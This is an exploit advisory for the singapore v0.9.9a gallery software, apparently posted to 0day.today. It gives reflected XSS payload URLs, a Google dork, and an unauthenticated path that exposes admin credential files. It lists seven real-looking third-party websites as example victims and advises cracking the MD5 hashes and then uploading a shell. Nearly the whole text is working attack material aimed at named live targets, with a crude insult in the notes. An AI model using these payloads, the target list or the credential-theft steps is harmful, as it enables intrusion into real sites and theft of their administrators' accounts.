singapore v0.9.9a XSS / Read Admin / Password Panel

#####
# Author : L3b-r1'z
# Title : singapore v0.9.9a Read Admin And Password Panel
# Email : [email protected]
# Dork : allintext: "Powered by singapore v0.9.9a"
#####

127.0.0.1/[PATH]/index.php?gallery="><script>alert('xss')</script>
127.0.0.1/[PATH]/index.php?gallery=./Big%20Apple%20-%20New%20York&image="+onerror="alert(1)"


P0c :

Http://www.domain.tld/data/adminusers.csv

Note : Fuck To All The Lamer'z

Example :

http://www.visionaryportraits.com/gallery/data/adminusers.csv
http://www.astro.bas.bg/bam/gal/data/adminusers.csv
http://www.lamorena.se/restoration/data/adminusers.csv
http://www.ashmanlaw.com/singapore/data/adminusers.csv
http://www.villaquerida.com/pictures/data/adminusers.csv
http://judyshoemaker.com/content/sg/data/adminusers.csv
http://www.screenshine.net/galerie/data/adminusers.csv

And More In Google :D

Note : Password = MD5 .

From Here : Hashkiller.com
almost forgot :P , upload your shell via tamper data or http header :D

Thx To All 1337day.com .

./EOE



#  0day.today [2018-04-07]  #